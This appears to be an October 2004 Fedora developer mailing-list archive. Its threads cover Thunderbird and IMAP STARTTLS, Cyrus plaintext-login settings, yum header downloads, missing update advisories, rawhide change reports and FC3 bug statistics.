Enger, Germany | GPG key 1024D/ED695653 1999-07-13 Fedora GNU/Linux Core 2 (Tettnang) kernel 2.6.8-1.521smp Serendipity 03:46:42 up 11 days, 6:12, load average: 0.82, 0.56, 0.46 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From pri.rhl3 at iadonisi.to Mon Oct 11 02:05:17 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Sun, 10 Oct 2004 22:05:17 -0400 Subject: thunderbird, IMAP, and STARTTLS In-Reply-To: <1097459265.10038.360.camel@serendipity.dogma.lan> References: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> <1097459265.10038.360.camel@serendipity.dogma.lan> Message-ID: <1097460316.7387.27.camel@va.local.linuxlobbyist.org> On Sun, 2004-10-10 at 21:47, Alexander Dalloz wrote: [snip] > > Which IMAP server offers IMAP/TLS on port 143? Well, specifically I'm talking about STARTTLS, not just plain old TLS. I'm using Cyrus-Imapd, but I'm sure it's not the only IMAP server that supports it. If you look in the account setup for evolution IMAP accounts, you see the option "Whenever Possible" as one of the choices for 'Use secure connection (SSL):'. That uses port 143, but negotiates the TLS connection with STARTTLS. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From stephen_pollei at comcast.net Mon Oct 11 02:12:41 2004 From: stephen_pollei at comcast.net (Stephen Pollei) Date: 10 Oct 2004 19:12:41 -0700 Subject: Yum .hdr files massive In-Reply-To: <1097425615.7749.13.camel@binkley> References: <41680FE6.1000801@pza.net.au> <1097343072.6267.0.camel@binkley> <20041010124613.3b4e402c@nausicaa.camperquake.de> <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> <1097425615.7749.13.camel@binkley> Message-ID: <1097460762.970.176.camel@fury> On Sun, 2004-10-10 at 09:26, seth vidal wrote: > On Sun, 2004-10-10 at 13:45 +0200, Nils Philippsen wrote: > > Though it would be even sweeter if byte-ranges fail you would start to > > download the whole thing (or at least tell the server that) and break > > the connection when you've read the entire header. Still better than > > downloading the whole thing. Well if you wanted to be super careful not to waste bandwidth you might choose to use setsockopt( ..., SO_RCVBUF, ...) at least. A value from 2800 to 4200 might be about right. The reason is that between the time you do the final read(2) and the time you do the close(2) or shutdown(2) you will probably still have other packets in flight. Of course to really cut down on all wastage you'd have to micromanage the advertised tcp window to a greater extent. My initial guess at the 2800 to 4200 is based on 1500 sized packets, guess of how much data you will need to read from a tcp stream, and the slow start doubling . I estimate that a tcp connection needs to download between 4-8k to extract the rpm header information via http. http headers(300 bytes) + lead(100 bytes) + signature(200 bytes) + header(2,500 to 6,500 bytes) = 3,000 to 7,000 bytes. 2800 | 4200 window size advertised ============== 1460 | 1460 first trip total 4260 | 4380 second trip total 7060 | 8580 last trip total Note that the first packet should have given you the total amount you needed to download so in theory if you could micromanage the advertised window you could set it to exactly how much more you needed. You'd need extra kernel hooks if you wanted to always have it stop at exactly the right place every time AFAIK. -- http://dmoz.org/profiles/pollei.html http://sourceforge.net/users/stephen_pollei/ http://www.orkut.com/Profile.aspx?uid=2455954990164098214 http://stephen_pollei.home.comcast.net/ GPG Key fingerprint = EF6F 1486 EC27 B5E7 E6E1 3C01 910F 6BB5 4A7D 9677 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From skvidal at phy.duke.edu Mon Oct 11 02:14:15 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sun, 10 Oct 2004 22:14:15 -0400 Subject: Yum .hdr files massive In-Reply-To: <1097460762.970.176.camel@fury> References: <41680FE6.1000801@pza.net.au> <1097343072.6267.0.camel@binkley> <20041010124613.3b4e402c@nausicaa.camperquake.de> <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> <1097425615.7749.13.camel@binkley> <1097460762.970.176.camel@fury> Message-ID: <1097460855.22152.5.camel@binkley> > Well if you wanted to be super careful not to waste bandwidth you might > choose to use setsockopt( ..., SO_RCVBUF, ...) at least. A value from > 2800 to 4200 might be about right. The reason is that between the time > you do the final read(2) and the time you do the close(2) or shutdown(2) > you will probably still have other packets in flight. Of course to > really cut down on all wastage you'd have to micromanage the advertised > tcp window to a greater extent. > I don't want to be supercareful. In fact, getting this involved in the way the packages get downloaded is not worth the time. -sv From mrsam at courier-mta.com Mon Oct 11 02:53:12 2004 From: mrsam at courier-mta.com (Sam Varshavchik) Date: Sun, 10 Oct 2004 22:53:12 -0400 Subject: thunderbird, IMAP, and STARTTLS References: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> <1097459265.10038.360.camel@serendipity.dogma.lan> Message-ID: Alexander Dalloz writes: > Am Mo, den 11.10.2004 schrieb Paul Iadonisi um 3:28: > >> Thunderbird (and Mozilla-Mail, for that matter) doesn't seem to support >> STARTTLS for IMAP. No, I'm not talking about IMAPS (port 993), but >> honest to goodness STARTTLS over port 143 like it should. >> So is it me, or is thunderbird really lacking in this area? > >> -Paul Iadonisi > > Which IMAP server offers IMAP/TLS on port 143? Pretty much all of them. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From caillon at redhat.com Mon Oct 11 03:06:26 2004 From: caillon at redhat.com (Christopher Aillon) Date: Sun, 10 Oct 2004 23:06:26 -0400 Subject: thunderbird, IMAP, and STARTTLS In-Reply-To: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> References: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> Message-ID: <4169F8B2.7010208@redhat.com> Paul Iadonisi wrote: > This is probably an upstream problem, but I'm just putting my feelers > out to see if I'm missing something, or thunderbird is missing something > I consider absolutely essential. And that's what my subject states. > Thunderbird (and Mozilla-Mail, for that matter) doesn't seem to support > STARTTLS for IMAP. No, I'm not talking about IMAPS (port 993), but > honest to goodness STARTTLS over port 143 like it should. > So is it me, or is thunderbird really lacking in this area? If you want to know things like this in the future, all you have to do is head over to bugzilla.mozilla.org, enter "STARTTLS" in the box and check out the results. The first bug you are given is 60377 [RFE] Support IMAP STARTTLS command. From pri.rhl3 at iadonisi.to Mon Oct 11 03:13:12 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Sun, 10 Oct 2004 23:13:12 -0400 Subject: thunderbird, IMAP, and STARTTLS In-Reply-To: <4169F8B2.7010208@redhat.com> References: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> <4169F8B2.7010208@redhat.com> Message-ID: <1097464392.7387.30.camel@va.local.linuxlobbyist.org> On Sun, 2004-10-10 at 23:06, Christopher Aillon wrote: [snip] > If you want to know things like this in the future, all you have to do is > head over to bugzilla.mozilla.org, enter "STARTTLS" in the box and check > out the results. The first bug you are given is > > 60377 [RFE] Support IMAP STARTTLS command. Doh! Thanks. Bugzilla. Who'd-a-thunk it. I was googling around but it never occurred to me to just check their bugzilla. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From alexander.dalloz at uni-bielefeld.de Mon Oct 11 03:17:05 2004 From: alexander.dalloz at uni-bielefeld.de (Alexander Dalloz) Date: Mon, 11 Oct 2004 05:17:05 +0200 Subject: thunderbird, IMAP, and STARTTLS In-Reply-To: References: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> <1097459265.10038.360.camel@serendipity.dogma.lan> Message-ID: <1097464625.19299.12.camel@serendipity.dogma.lan> Am Mo, den 11.10.2004 schrieb Sam Varshavchik um 4:53: > > Which IMAP server offers IMAP/TLS on port 143? > > Pretty much all of them. Ok, I always configures IMAPs with usage of port 993, simply because otherwise you can't force the users to use the secured connection. If you enable port 143 users tend to simply use IMAP - and then auth data goes over the line unencrypted, especially by those Outlook users using LOGIN. Alexander -- Alexander Dalloz | Enger, Germany | GPG key 1024D/ED695653 1999-07-13 Fedora GNU/Linux Core 2 (Tettnang) kernel 2.6.8-1.521smp Serendipity 05:12:41 up 11 days, 7:38, load average: 1.36, 1.58, 1.37 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From pri.rhl3 at iadonisi.to Mon Oct 11 03:24:48 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Sun, 10 Oct 2004 23:24:48 -0400 Subject: thunderbird, IMAP, and STARTTLS In-Reply-To: <1097464625.19299.12.camel@serendipity.dogma.lan> References: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> <1097459265.10038.360.camel@serendipity.dogma.lan> <1097464625.19299.12.camel@serendipity.dogma.lan> Message-ID: <1097465088.7387.37.camel@va.local.linuxlobbyist.org> On Sun, 2004-10-10 at 23:17, Alexander Dalloz wrote: > Am Mo, den 11.10.2004 schrieb Sam Varshavchik um 4:53: > > > > Which IMAP server offers IMAP/TLS on port 143? > > > > Pretty much all of them. > > Ok, I always configures IMAPs with usage of port 993, simply because > otherwise you can't force the users to use the secured connection. If > you enable port 143 users tend to simply use IMAP - and then auth data > goes over the line unencrypted, especially by those Outlook users using > LOGIN. Not true...just set allowplaintext to 'no' in your /etc/imapd.conf (for Cyrus). If you're imap server uses SASL for network authentication, it should the same setting, but possibly a different filename path for imap servers other than cyrus. When you set this option, the LOGINDISABLED capability will show up in the IMAP CAPABILITY command, which does what the name implies. After STARTTLS is negotiated, another CAPABILITY command will show that LOGINDISABLED is no longer there, allowing login to proceed. As an FYI, even if you're not using cyrus-imapd, the cyrus-imapd-utils package can come in very handy...especially imtest and smtptest (really, one is just a symlink to the other). It helps to flesh out these kind of issues. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From rhally at mindspring.com Mon Oct 11 06:58:51 2004 From: rhally at mindspring.com (Richard Hally) Date: Mon, 11 Oct 2004 02:58:51 -0400 Subject: yum log? Message-ID: <416A2F2B.1030902@mindspring.com> My yum log has one entry in it "09/20/04 00:32:20 Updated: yum 2.1.3-1.noarch" and that is all! The problem is that I have been using yum to keep up with rawhide. Where do I file this bug, redhat bugzilla or is there a more appropriate place for it? Richard Hally From nphilipp at redhat.com Mon Oct 11 07:11:07 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Mon, 11 Oct 2004 09:11:07 +0200 Subject: Yum .hdr files massive In-Reply-To: <1097460855.22152.5.camel@binkley> References: <41680FE6.1000801@pza.net.au> <1097343072.6267.0.camel@binkley> <20041010124613.3b4e402c@nausicaa.camperquake.de> <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> <1097425615.7749.13.camel@binkley> <1097460762.970.176.camel@fury> <1097460855.22152.5.camel@binkley> Message-ID: <1097478667.3148.9.camel@wombat.tiptoe.de> On Mon, 2004-10-11 at 04:14, seth vidal wrote: > > Well if you wanted to be super careful not to waste bandwidth you might > > choose to use setsockopt( ..., SO_RCVBUF, ...) at least. A value from > > 2800 to 4200 might be about right. The reason is that between the time > > you do the final read(2) and the time you do the close(2) or shutdown(2) > > you will probably still have other packets in flight. Of course to > > really cut down on all wastage you'd have to micromanage the advertised > > tcp window to a greater extent. > > > > I don't want to be supercareful. In fact, getting this involved in the > way the packages get downloaded is not worth the time. I agree totally. It would be cool that if the header is about 50KB and the RPM is 5MB that we download about 50KB or maybe little more (well that little more depends on how quick your connection is, but I digress), but not the entire 5MB. Or in terms of the actual HTTP, that we emulate "HTTP range from byte x to byte y" so that we stop shortly after downloading y bytes (because you have to read from the start, which is about what we have to do when extracting the header from an RPM). Anything else is superfluous and possibly even harmful (changing the kernel due to external web server not supporting HTTP range is just a bit over the top ;-). Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From dwmw2 at infradead.org Mon Oct 11 08:45:00 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Mon, 11 Oct 2004 09:45:00 +0100 Subject: thunderbird, IMAP, and STARTTLS In-Reply-To: <1097464625.19299.12.camel@serendipity.dogma.lan> References: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> <1097459265.10038.360.camel@serendipity.dogma.lan> <1097464625.19299.12.camel@serendipity.dogma.lan> Message-ID: <1097484300.5439.37.camel@localhost.localdomain> On Mon, 2004-10-11 at 05:17 +0200, Alexander Dalloz wrote: > Am Mo, den 11.10.2004 schrieb Sam Varshavchik um 4:53: > > > > Which IMAP server offers IMAP/TLS on port 143? > > > > Pretty much all of them. > > Ok, I always configures IMAPs with usage of port 993, simply because > otherwise you can't force the users to use the secured connection. I don't actually have an imapd listening on _either_ port 143 or 993. Instead, mail clients are configured to 'ssh $mailserver exec imapd' and authentication is done by ssh-agent/ssh-askpass. This works fine with Evolution, Pine, Mutt, etc., and I can even use 'ssh -C' to get compression as an added bonus... does it work with Thunderbird? -- dwmw2 From dwmw2 at infradead.org Mon Oct 11 09:58:56 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Mon, 11 Oct 2004 10:58:56 +0100 Subject: rawhide report: 20041010 changes In-Reply-To: <200410101153.i9ABr6g31053@porkchop.devel.redhat.com> References: <200410101153.i9ABr6g31053@porkchop.devel.redhat.com> Message-ID: <1097488736.5788.1065.camel@baythorne.infradead.org> On Sun, 2004-10-10 at 07:53 -0400, Build System wrote: > * Tue Sep 28 2004 David Malcolm - 2.0.1-2 > > - update mozilla dependency from 1.7.2 to 1.7.3, apart from on ppc (and on s390 and s390x, which remain at 1.6, and on ppc64 where it isn't available at all) Mozilla 1.7.3 is built on ppc now. -- dwmw2 From Bernd.Bartmann at sohanet.de Mon Oct 11 11:26:05 2004 From: Bernd.Bartmann at sohanet.de (Bernd Bartmann) Date: Mon, 11 Oct 2004 13:26:05 +0200 Subject: Missing update/security advisories Message-ID: <416A6DCD.7040205@sohanet.de> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Yet again several update/security advisories never were announced on fedora-announce list: FC1: gaim-0.77-2.FC1 gaim-0.80-1.FC1 gaim-0.81-1.FC1 postfix-2.0.16-1 recode-3.6-12.0 FC2: devhelp-0.9.1-0.2.2 epiphany-1.2.7-0.2.0 epiphany-1.2.7-0.2.2 fam-2.6.10-9.FC2 gaim-0.77-7 gaim-0.80-1.FC2 gaim-0.81-1.FC2 gnome-session-2.6.0-4 mozilla-1.7.2-0.2.0 mozilla-1.7.3-0.2.0 nfs-utils-1.0.6-22 xinitrc-3.41-1 xorg-x11-6.7.0-9 Two FC2 advisories share the same id FEDORA-2004-331: cups-1.1.20-11.4 cyrus-sasl-2.1.18-2.2 Best regards. - -- Dipl.-Ing. (FH) Bernd Bartmann I.S. Security and Network Engineer SoHaNet Technology GmbH / Kaiserin-Augusta-Allee 10-11 / 10553 Berlin Fon: +49 30 214783-44 / Fax: +49 30 214783-46 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFBam3NkQuIaHu84cIRAi5qAJ0foC9j+nzMcaQyWWZ7DzPWWzBbDwCcCTrD 2sjyxTHmKlQMkHO2O38SQ7s= =ff4p -----END PGP SIGNATURE----- From alan at redhat.com Mon Oct 11 11:27:08 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 11 Oct 2004 07:27:08 -0400 Subject: thunderbird, IMAP, and STARTTLS In-Reply-To: <1097459265.10038.360.camel@serendipity.dogma.lan> References: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> <1097459265.10038.360.camel@serendipity.dogma.lan> Message-ID: <20041011112708.GC20450@devserv.devel.redhat.com> On Mon, Oct 11, 2004 at 03:47:45AM +0200, Alexander Dalloz wrote: > Which IMAP server offers IMAP/TLS on port 143? dovecot for one should do. (See /etc/dovecot.conf). Alan From twaugh at redhat.com Mon Oct 11 11:28:33 2004 From: twaugh at redhat.com (Tim Waugh) Date: Mon, 11 Oct 2004 12:28:33 +0100 Subject: Missing update/security advisories In-Reply-To: <416A6DCD.7040205@sohanet.de> References: <416A6DCD.7040205@sohanet.de> Message-ID: <20041011112832.GC1925@redhat.com> On Mon, Oct 11, 2004 at 01:26:05PM +0200, Bernd Bartmann wrote: > Two FC2 advisories share the same id FEDORA-2004-331: > cups-1.1.20-11.4 > cyrus-sasl-2.1.18-2.2 FEDORA-2004-331 is cups-1.1.20-11.4. FEDORA-2004-332 is what cyrus-sasl-2.1.18-2.2 should be. Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From buildsys at redhat.com Mon Oct 11 11:56:33 2004 From: buildsys at redhat.com (Build System) Date: Mon, 11 Oct 2004 07:56:33 -0400 Subject: rawhide report: 20041011 changes Message-ID: <200410111156.i9BBuX806962@porkchop.devel.redhat.com> Updated Packages: doxygen-1.3.9.1-1 ----------------- * Sun Oct 10 2004 Than Ngo 1:1.3.9.1-1 - update to 1.3.9.1 libuser-0.52.4-1 ---------------- * Sun Oct 10 2004 Miloslav Trmac - 0.52.4-1 - Fix memory leaks (#113730) - Build with updated translations metacity-2.8.5-2 ---------------- * Mon Oct 11 2004 Alexander Larsson - 2.8.5-2 - Require startup-notification 0.7 (without this we'll crash) mozilla-1.7.3-12 ---------------- * Sun Oct 10 2004 Christopher Aillon 37:1.7.3-12 - Add patches to fix tab focus stealing issue (b.m.o #124750) - Re-add ppc to the build. rpmdb-fedora-2.92-0.20041011 ---------------------------- system-config-users-1.2.24-1 ---------------------------- * Mon Oct 11 2004 Nils Philippsen - 1.2.24-1 - use user/group names for indexing, avoid unnecessary user/group lookups (#135223, original patch by Miloslav Trmac) - remove some debugging statements - updated translations system-switch-im-0.1.2-3 ------------------------ * Mon Oct 11 2004 Leon Ho 0.1.2-3 - rebuilt for translation traceroute-1.4a12-24 -------------------- * Mon Oct 11 2004 Radek Vokal 1.4a12-24 - spec file updated (#135187) From jspaleta at gmail.com Mon Oct 11 13:32:03 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 11 Oct 2004 09:32:03 -0400 Subject: Yum .hdr files massive In-Reply-To: <1097460855.22152.5.camel@binkley> References: <41680FE6.1000801@pza.net.au> <1097343072.6267.0.camel@binkley> <20041010124613.3b4e402c@nausicaa.camperquake.de> <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> <1097425615.7749.13.camel@binkley> <1097460762.970.176.camel@fury> <1097460855.22152.5.camel@binkley> Message-ID: <604aa791041011063248c7476a@mail.gmail.com> On Sun, 10 Oct 2004 22:14:15 -0400, seth vidal wrote: > I don't want to be supercareful. In fact, getting this involved in the > way the packages get downloaded is not worth the time. Instead of being fancy and trying to work around servers that dont understand byteranges with connection breaking or whatnot... How much work would it be to implement a check client side to prevent a redownload if the full package was downloaded in the previous byterange step into the headers directory? When the server doesn't handle the byte range information correctly is there a problem just copying over the full download from the header directory into the packages directory? And is there any textual information that yum can give to a user to inform them their chosen mirror doesn't handle byteranges correctly? The best way to prevent this problem from being widespread, and thus a way to prevent people from refiling this as a bug over and over again, is to find a way to inform them to choose a different mirror. -jef From alexander.dalloz at uni-bielefeld.de Mon Oct 11 14:16:41 2004 From: alexander.dalloz at uni-bielefeld.de (Alexander Dalloz) Date: Mon, 11 Oct 2004 16:16:41 +0200 Subject: thunderbird, IMAP, and STARTTLS In-Reply-To: <1097465088.7387.37.camel@va.local.linuxlobbyist.org> References: <1097458138.7387.22.camel@va.local.linuxlobbyist.org> <1097459265.10038.360.camel@serendipity.dogma.lan> <1097464625.19299.12.camel@serendipity.dogma.lan> <1097465088.7387.37.camel@va.local.linuxlobbyist.org> Message-ID: <1097504201.19299.15.camel@serendipity.dogma.lan> Am Mo, den 11.10.2004 schrieb Paul Iadonisi um 5:24: > Not true...just set allowplaintext to 'no' in your /etc/imapd.conf > (for Cyrus). If you're imap server uses SASL for network > authentication, it should the same setting, but possibly a different > filename path for imap servers other than cyrus. When you set this > option, the LOGINDISABLED capability will show up in the IMAP CAPABILITY > command, which does what the name implies. After STARTTLS is > negotiated, another CAPABILITY command will show that LOGINDISABLED is > no longer there, allowing login to proceed. Thank you for this hint! > As an FYI, even if you're not using cyrus-imapd, the cyrus-imapd-utils > package can come in very handy...especially imtest and smtptest (really, > one is just a symlink to the other). It helps to flesh out these kind > of issues. Yes, I know both tools. smtptest already helped me one to solve a problem with SASLv2 and Sendmail. > -Paul Iadonisi Alexander -- Alexander Dalloz | Enger, Germany | GPG key 1024D/ED695653 1999-07-13 Fedora GNU/Linux Core 2 (Tettnang) kernel 2.6.8-1.521smp Serendipity 16:15:23 up 11 days, 18:41, load average: 1.12, 1.22, 1.22 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From mattwhiteley at gmail.com Mon Oct 11 14:41:55 2004 From: mattwhiteley at gmail.com (matt whiteley) Date: Mon, 11 Oct 2004 07:41:55 -0700 Subject: error in driver disk (sata_nv) Message-ID: <72ae109c04101107411cbcc4cb@mail.gmail.com> The current rawhide kernel (and all since 2.6.6) will not boot on my machine since the module for sata_nv is not loaded. I hoped someone with more experience in this could help me out. I have two questions. 1) Is something wrong with this module that makes it unincluded when other sata modules make the cut. For instance should I be concerned about my data integrity while using it? 2) I have attempted the creation of a driver disk. Anaconda finds it and allows me to choose the module and states "loading sata_nv" but it doesn't actually load it. Is someone more familiar with driver disks that can see my mistake? This was my first attempt and may have something dumb in it. http://www.cat.pdx.edu/~mattw/sata_nv/ Some ideas I had towards mistakes: -do you still need 2.6.8-1.541BOOT ? -uname -p in anaconda returned 'unknown' do I need kernel/unknown/module.ko ? -it was suggested that I may need the libata and scsi-mod modules in the cgz, but the examples I saw did not include their dependencies -improper syntax in text files? -/modules/module-info exists now during anaconda, is this replacing modinfo ? thanks, -- matt whiteley From alan at balclutha.org Mon Oct 11 15:09:25 2004 From: alan at balclutha.org (Alan Milligan) Date: Tue, 12 Oct 2004 01:09:25 +1000 Subject: python2.2 -> python2.3 In-Reply-To: <20041009133012.3482D73662@hormel.redhat.com> References: <20041009133012.3482D73662@hormel.redhat.com> Message-ID: <416AA225.3070501@balclutha.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, Around a year ago, we took a decision to create our own RH9-based distro (https://rpm.last-bastion.net) focused upon our Python/Zope/Plone business. This firmly requires python2.3, and we went to much effort to remove all 2.2 dependencies in the code base. Since that time of course, Fedora has come along and has gained much support and is progressing phenominally with wide community participation and acceptance. We'd very much like to get our changes integrated into Fedora Core. Please inform me (on or off the list) how we can most effectively profer our patches for the community (and how we can be involved in shaping future Python direction). Regards, Alan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFBaqIlCfroLk4EZpkRAp2jAJwKxubUKlHSw0ifX65ypwaGcHhh4ACdEhQ/ 29IND0OOwTEsDQ6iUsZi5Tw= =XC5M -----END PGP SIGNATURE----- From notting at redhat.com Mon Oct 11 16:10:59 2004 From: notting at redhat.com (Bill Nottingham) Date: Mon, 11 Oct 2004 12:10:59 -0400 Subject: Fedora Core 3 Bug Status - 2004-10-11 Message-ID: <20041011161059.GA25927@nostromo.devel.redhat.com> Based on bug #123268 ('FC3Target') and bug #130887 ('FC3Blocker') 2004-10-11 Severity Total Closed Need Testing BLOCKER 105 78 ( 74.29 %) 10 ( 12.82 %) TARGET 892 438 ( 49.10 %) 49 ( 11.19 %) Overall 997 516 ( 51.76 %) 59 ( 11.00 %) 2004-09-30 Severity Total Closed Need Testing BLOCKER 90 67 ( 74.44 %) 11 ( 16.42 %) TARGET 831 374 ( 45.01 %) 45 ( 12.03 %) Overall 921 441 ( 47.88 %) 56 ( 12.00 %) 2004-09-23 Severity Total Closed Need Testing BLOCKER 74 43 ( 58.11 %) 9 ( 20.93 %) TARGET 703 286 ( 40.68 %) 38 ( 13.29 %) Overall 777 329 ( 42.34 %) 47 ( 14.00 %) 2004-09-08 Severity Total Closed Need Testing BLOCKER 35 14 ( 40.00 %) 3 ( 21.43 %) TARGET 591 194 ( 32.83 %) 33 ( 17.01 %) Overall 626 208 ( 33.23 %) 36 ( 17.00 %) 2004-08-18 Severity Total Closed Need Testing TARGET 415 61 ( 14.70 %) 16 ( 26.23 %) From balay at fastmail.fm Mon Oct 11 17:25:19 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 11 Oct 2004 12:25:19 -0500 (CDT) Subject: Fedora Core 3 Bug Status - 2004-10-11 In-Reply-To: <20041011161059.GA25927@nostromo.devel.redhat.com> References: <20041011161059.GA25927@nostromo.devel.redhat.com> Message-ID: On Mon, 11 Oct 2004, Bill Nottingham wrote: > Based on bug #123268 ('FC3Target') and bug #130887 ('FC3Blocker') > > 2004-10-11 > Severity Total Closed Need Testing > BLOCKER 105 78 ( 74.29 %) 10 ( 12.82 %) > TARGET 892 438 ( 49.10 %) 49 ( 11.19 %) > Overall 997 516 ( 51.76 %) 59 ( 11.00 %) I hope APM/ACPI working on thinkpads is also considered a target for FC3. #133176, #133105 Thanks, Satish From dcbw at redhat.com Mon Oct 11 17:27:06 2004 From: dcbw at redhat.com (Dan Williams) Date: Mon, 11 Oct 2004 13:27:06 -0400 Subject: Openoffice 1.1.3 ? In-Reply-To: References: Message-ID: <1097515626.18203.0.camel@dcbw.boston.redhat.com> Nope, not for FC3, but most likely as an update. There are enough problems with the current 1.1.2 stuff (ja/ko input being the major one) that it doesn't make sense to potentially add more right now. Dan On Sat, 2004-10-09 at 07:55 -0500, Rex Dieter wrote: > On Sat, 9 Oct 2004, Paul Ionescu wrote: > > Will openoffice v1.1.3 be part of FC3 ? > > Considering that the ximian ooo-build tools haven't yet been updated to > work (completely) with 1.1.3 (yet), I'd guess no. > > -- Rex > From buytenh at wantstofly.org Mon Oct 11 17:28:52 2004 From: buytenh at wantstofly.org (Lennert Buytenhek) Date: Mon, 11 Oct 2004 19:28:52 +0200 Subject: missing quotes in compile parameters when building X apps on FC2 Message-ID: <20041011172852.GA11512@xi.wantstofly.org> Hi, I was having a lot of trouble building certain packages that use xmkmf on my ARM port of FC2. But it appears that those packages have the same trouble on the 'official' x86 port of FC2, at least on my two workstations. For example, try rebuilding Canna on a stock FC2 install: ./configure --prefix=/usr checking for gcc... gcc -m32 checking for C compiler default output file name... configure: error: C compiler cannot create executables See `config.log' for more details. I check config.log and see: configure:1671: gcc -m32 -O2 -pipe -march=i386 -mcpu=i686 -fno-strict-aliasing -pipe -I/usr/X11R6/include -Dlinux -D__i386__ -D_POSIX_C_SOURCE=199309L -D_POSIX_SOURCE -D_XOPEN_SOURCE -D_BSD_SOURCE -D_SVID_SOURCE -DFUNCPROTO=15 -DNARROWPROTO -DXVENDORNAME=The X.Org Foundation -DXVENDORNAMESHORT=X.Org conftest.c >&5 gcc: X.Org: No such file or directory gcc: Foundation: No such file or directory There should be some quotes there -- where did they go? Anyone else seen this happening? cheers, Lennert From kyrre at solution-forge.net Mon Oct 11 18:09:43 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 11 Oct 2004 20:09:43 +0200 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <604aa79104100717385c350814@mail.gmail.com> References: <20041007170318.B06D473822@hormel.redhat.com> <1097187313.3494.25.camel@localhost> <2ad7cea1041007163242696d42@mail.gmail.com> <604aa79104100717385c350814@mail.gmail.com> Message-ID: <1097514132.2679.55.camel@kyrre> I acctually like the burn dialog. When i insert a cd, all i often want to do, is simply dump some files from my HD to it. And then when i insert the CD, it pops up, i drag the files i want to be burned to it, click "burn" and "OK". Goes to make a cup of coffe (or read my mail). This is a 650 mhz Pentium 3 with a 4x burner. Starting "burn:///" takes me approx one secound. And i like that it automounts and pops up a dialog whenever i insert an removable media. All that is lacking now, is making the "eject" button talk to dbus so that gnome would umount (or popup errors...) fre, 08.10.2004 kl. 02.38 skrev Jeff Spaleta: > On Thu, 7 Oct 2004 16:32:15 -0700, Jon Savage wrote: > > I hate that behavior. It is OK as a user configurable *option* but > > makes for a poor default IMHO since more often than not I'm inserting > > a blank cd intending to burn something using my app of choice & have > > to wait for the silly burn:// folder to come up, > > Now see here's the problem... you have an application of choice... you > know what you want. I'm not really sure defaults are meant to > primarily address the needs of users who know which applications they > prefer. You have a preference, the preference dialogs are there for > you to use to set your preference. > > For users, who do not have a preference already, the defaults need to > present reasonable sane and intutive behavior. Users who do not have a > preference, are not informed enough to use the preference dialog to > customizes their environment, the defaults need to provide reasonable > functionality without demanding users to make a choice or state a > preference. > > A poor default for me, as a competent, well informed and technically > inclined power user with years of linux experience could easily be the > best, most sane and intuitive default for an inexperienced user who is > unfamiliar with specific linux applications. I know enough to > reconfigure my system better for my needs, and my knowledge empowers > me to use the tools at hand to mold the environment to my will. It's > an absolutely trivial burden for me to go to the preference dialog and > turn off the automounting/autobrowsing features of the volume > management and I'm sure its an absolutely trivial burden for you as > well. If having automounting and autobrowsing of media on by default > makes the system more approachable and easier to work with for a new > user and empowers them to use the system more fully and more often, > I'm all for it even though i have absolutely no desire to ever use > that feature for myself. > > -jef From kyrre at solution-forge.net Mon Oct 11 18:09:42 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 11 Oct 2004 20:09:42 +0200 Subject: Default browser of FC3? In-Reply-To: <1097328519.13577.84.camel@chip.laiskiainen.org> References: 